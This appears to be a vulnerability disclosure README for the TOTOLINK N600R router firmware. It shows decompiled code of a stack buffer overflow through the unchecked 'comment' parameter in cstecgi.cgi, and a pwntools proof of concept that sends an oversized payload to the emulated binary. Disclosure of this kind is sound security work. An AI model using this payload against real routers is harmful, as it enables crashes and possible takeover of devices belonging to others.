d1tto add n600r ... on Apr 15 History

..

img	8 months ago
readme.md	8 months ago

readme.md

Overview

- The device's official website: http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2
- Firmware download website: http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36

Affected version

V4.3.0cu.7647_B20210106

Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi` `FUN_004196c8` (at address 0x04196c8) gets the JSON parameter `comment`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```
undefined4 FUN_004196c8(undefined4 param_1)

{
  char *pcVar1;
  int iVar2;
  char *__src;
  char cVar3;
  int local_78;
  long local_74;
  undefined4 uStack112;
  int uStack108 [14];
  undefined4 uStack40;
  undefined4 uStack36;
  undefined4 uStack32;
  undefined uStack28;

  pcVar1 = (char *)websGetVar(param_1,"addEffect","0");
  iVar2 = atoi(pcVar1);
  pcVar1 = (char *)websGetVar(param_1,"enable","0");
  local_78 = atoi(pcVar1);
  pcVar1 = (char *)websGetVar(param_1,"macAddress","");
  __src = (char *)websGetVar(param_1,"comment","");
  uStack40 = 0;
  uStack36 = 0;
  uStack32 = 0;
```

```
  if (iVar2 == 0) {
    cVar3 = *pcVar1;
    if (cVar3 != '\0') {
      iVar2 = 0;
      do {
        if (cVar3 != ':') {
          *(char *)((int)&uStack40 + iVar2) = cVar3;
          iVar2 = iVar2 + 1;
        }
        cVar3 = pcVar1[1];
        pcVar1 = pcVar1 + 1;
      } while (cVar3 != '\0');
    }
    if (uStack40._0_1_ == '\0') {
      return 0;
    }
    strlen((char *)&uStack40);
    string_to_hex((char *)&uStack40,&local_74);
    strcpy((char *)((int)&uStack112 + 2),__src);
    apmib_set(0x2007e,&local_74);
    apmib_set(0x1007d,&local_74);
  }
```

POC

```python
from pwn import *
import json

data = {
    "topicurl": "setting/setMacFilterRules",
    "addEffect": "0",
    "macAddress": "A:A:A:A",
    "comment": "A"*0x200,
}
data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",
    "-E", "LD_PRELOAD=./hook.so",
    "-E", "CONTENT_LENGTH={}".format(len(data)),
    "-E", "REMOTE_ADDR=192.168.2.1",
    "./cstecgi.cgi"
]

a = process(argv=argv)

a.sendline(data.encode())

a.interactive()
```